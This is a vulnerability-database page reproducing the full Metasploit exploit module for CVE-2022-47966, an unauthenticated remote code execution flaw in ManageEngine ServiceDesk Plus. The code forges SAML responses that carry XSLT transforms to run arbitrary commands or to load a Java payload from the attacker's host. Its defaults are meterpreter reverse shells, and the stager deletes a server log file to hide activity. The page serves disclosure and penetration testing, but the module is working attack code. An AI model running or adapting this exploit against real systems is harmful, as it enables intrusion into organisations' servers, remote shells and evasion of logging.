Lucene search
+L

ManageEngine ServiceDesk Plus Unauthenticated SAML RCE

🗓️ 07 Feb 2023 19:49:57Reported by Khoa Dinh, horizon3ai, Christophe De La FuenteType 
metasploit
 metasploit
🔗 www.rapid7.com👁 372 Views

Unauthenticated RCE in ManageEngine ServiceDesk Plu

Related
Code
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
              'CmdStagerFlavor' => %w[curl wget echo lwprequest],
              'Payload' => { 'BadChars' => "\x27" }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
      OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    )
    return CheckCode::Unknown('No response received from the target') unless res

    # vulnerable servers respond with 400 and a HTML body
    return CheckCode::Safe('The target is not vulnerable') unless res.code == 400

    script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
    info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
    return CheckCode::Unknown('Unable to extract product and build information from response') unless info
    unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
      return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
    end

    # SAML 2.0 support has been added in build 10511
    # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
    build = Rex::Version.new(info[:build])
    unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
      return CheckCode::Safe("Target build is #{info[:build]}")
    end

    CheckCode::Appears('The target is running a vulnerable version')
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      java_class_loader_start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_command, :unix_cmd
      execute_command(payload.encoded)
    when :windows_dropper, :linux_dropper
      execute_cmdstager(delay: datastore['DELAY'])
    end
  end

  def trigger_urlclassloader
    # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    # stager for javascript engine
    java_stager = <<~EOS
      var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
      new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
      var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
      var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
      #{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
    EOS

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
            <xsl:stylesheet version="1.0"
            xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
            xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
                <xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
                <xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
                <xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
                <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
            </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT
    send_transform(transform)
  end

  def execute_command(cmd, _opts = {})
    case target['Type']
    when :windows_dropper, :windows_command
      cmd = "cmd /c #{cmd}"
    when :unix_cmd, :linux_dropper
      cmd = cmd.gsub(' ') { '${IFS}' }
      cmd = "bash -c #{cmd}"
    end
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0"
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
              <xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
              <xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
              <xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
              <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT

    send_transform(transform)
  end

  def send_transform(transform)
    assertion_id = "_#{SecureRandom.uuid}"
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                #{transform}
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    # Java payload returns a nil response on successful execution of payload
    if target['Type'] == :java && res.nil?
      print_status('Exploit completed.')
    elsif res&.code != 500
      lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
      unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
        elog("Unkown error returned:\n#{lines.join("\n")}")
        fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
      end
      fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
    end

    res
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.99753
SSVC
372